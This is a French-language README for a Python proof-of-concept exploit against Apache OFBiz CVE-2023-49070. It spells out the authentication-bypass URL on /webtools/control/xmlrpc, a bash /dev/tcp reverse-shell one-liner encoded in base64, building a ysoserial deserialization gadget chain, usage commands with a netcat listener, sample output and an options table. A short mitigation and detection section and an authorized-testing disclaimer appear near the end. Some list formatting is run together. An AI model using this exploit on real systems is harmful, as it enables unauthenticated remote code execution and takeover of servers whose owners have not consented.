
PoC Python pour Apache OFBiz CVE-2023-49070 : contournement d'authentification sur /webtools/control/xmlrpc avec chaîne de gadgets ysoserial pour obtenir une RCE par désérialisation en pré-authentification.
PoC pour la RCE par désérialisation pré-auth XML-RPC d'Apache OFBiz, suivie sous
CVE-2023-49070 : un chemin de contournement d'authentification déverrouille
l'endpoint hérité /webtools/control/xmlrpc, qui désérialise un objet Java
contrôlé par l'attaquant, dissimulé dans un paramètre <serializable> d'une
requête XML-RPC.
⚠️ Pour des tests de sécurité autorisés uniquement. N'exécutez ceci que contre des systèmes que vous possédez ou que vous êtes explicitement autorisé à tester (environnements CTF/lab, missions avec périmètre signé, etc.). L'accès non autorisé à des systèmes informatiques est illégal dans la plupart des juridictions.
L'authentification par view-map d'Apache OFBiz protège normalement
/webtools/control/xmlrpc. Les versions affectées (< 18.12.10) peuvent être
contournées pour ignorer cette vérification en ajoutant un point-virgule suivi
de paramètres de requête spécifiques au chemin :
/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y
Une fois accessible, l'endpoint accepte les requêtes XML-RPC. L'implémentation
Java d'Apache XML-RPC prend en charge un type d'extension <serializable> : le
contenu de l'élément est décodé en base64 et transmis directement à
ObjectInputStream.readObject() — désérialisation Java non sécurisée classique.
Avec une chaîne de gadgets appropriée sur le classpath (ce PoC utilise
CommonsBeanutils1 via ysoserial par
défaut), cela se traduit directement par une exécution de commandes à distance
sous l'utilisateur OS exécutant OFBiz.
Il s'agit de la même famille de bugs que les précédentes CVE de désérialisation XML-RPC d'OFBiz (par exemple le pendant du contournement d'authentification de CVE-2023-51467) ; OFBiz présente un schéma récurrent de paires contournement-d'authentification + désérialisation sur cet endpoint, donc vérifiez la CVE/plage de versions exacte qui s'applique à votre cible avant de vous fier à ce PoC.
bash -i >& /dev/tcp/LHOST/LPORT 0>&1,
l'encode en base64 et l'enveloppe dans un one-liner
bash -c 'echo ... | base64 -d | bash' (évite la mutilation des
métacaractères du shell plus loin dans la chaîne d'exécution).ysoserial pour construire une chaîne de gadgets sérialisée
(CommonsBeanutils1 par défaut, configurable) qui exécute ce one-liner.<serializable>.TARGET/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y.No such service) — un
signal que la charge utile a été traitée, pas une preuve d'exécution de code.Il ne peut pas confirmer que vous avez obtenu un shell — OFBiz renvoie une
erreur générique dans les deux cas une fois la désérialisation exécutée (la
méthode XML-RPC elle-même, Dns, n'existe pas en tant que service réel).
Gardez toujours votre listener actif et vérifiez-le, pas seulement la sortie
console du script.
pip install requests --break-system-packagesysoserial-all.jar — construisez-le vous-même depuis
frohoff/ysoserial
(mvn clean package -DskipTests) ou récupérez un jar de release. Non fourni
ici — c'est un outil tiers volumineux avec sa propre licence.python3 ofbiz_xmlrpc_rce.py \
--target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 \
--ysoserial /path/to/ysoserial-all.jar
Démarrez d'abord un listener :
nc -lvnp 4444
CommonsBeanutils1 est le choix classique pour OFBiz (il embarque
commons-beanutils sur le classpath), mais si cela ne fonctionne pas, les
bibliothèques embarquées d'OFBiz prennent également en charge d'autres chaînes.
Il suffit de changer --gadget :
python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 \
--ysoserial /path/to/ysoserial-all.jar \
--gadget CommonsCollections6
$ python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 --ysoserial ./ysoserial-all.jar
[*] Building reverse shell one-liner for 10.10.14.1:4444 ...
[*] Building 'CommonsBeanutils1' gadget chain with ysoserial (./ysoserial-all.jar) ...
[+] Gadget chain built (2847 bytes)
[*] Sending payload to https://ofbiz.target.tld ...
[+] HTTP status: 200
[+] Response matches the expected post-deserialization error.
This is a signal the gadget chain executed, not proof of a shell.
[*] Check your listener: nc -lvnp 4444
/webtools/control/xmlrpc si vous n'utilisez
pas activement l'intégration XML-RPC ; le composant webtools en général est
une cible courante et ne devrait pas être exposé à Internet sans raison
impérieuse.; contre
l'analyse des chemins de servlet Java.ObjectInputFilter, disponible depuis JEP 290 / Java 9+) pour
bloquer l'instanciation des classes de chaînes de gadgets connues, quel que
soit l'endpoint qui déclenche la désérialisation.*/control/xmlrpc* contenant des éléments
<serializable>, les connexions sortantes inattendues depuis l'hôte OFBiz, et
les processus enfants lancés par le processus Java exécutant OFBiz.MIT — voir LICENSE.
| Flag | Défaut | Description |
|---|
--target | (requis) | URL de base de la cible, ex. https://ofbiz.target.tld |
--lhost | (requis) | IP de votre listener |
--lport | (requis) | Port de votre listener |
--ysoserial | ysoserial-all.jar | Chemin vers le jar ysoserial |
--gadget | CommonsBeanutils1 | Chaîne de gadgets ysoserial à utiliser |
--java-bin | java | Binaire Java à invoquer |
--timeout | 15 | Délai d'expiration de la requête HTTP (secondes) |
--proxy | (aucun) | Proxy HTTP(S) optionnel, ex. pour router via Burp |